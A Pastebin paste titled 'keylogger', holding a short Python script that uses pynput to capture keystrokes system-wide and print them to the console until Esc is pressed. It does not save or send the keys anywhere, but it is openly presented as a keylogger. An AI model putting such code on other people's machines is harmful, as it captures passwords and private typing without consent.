Advertisement
MizunoBrasil

keylogger

Jun 12th, 2023
1,074
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.38 KB | None | 0 0
  1. from pynput import keyboard
  2.  
  3. def on_press(key):
  4.     try:
  5.         print('Tecla pressionada: {0}'.format(key.char))
  6.     except AttributeError:
  7.         print('Tecla especial pressionada: {0}'.format(key))
  8.  
  9. def on_release(key):
  10.     if key == keyboard.Key.esc:
  11.         return False
  12.  
  13. with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
  14.     listener.join()
  15.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement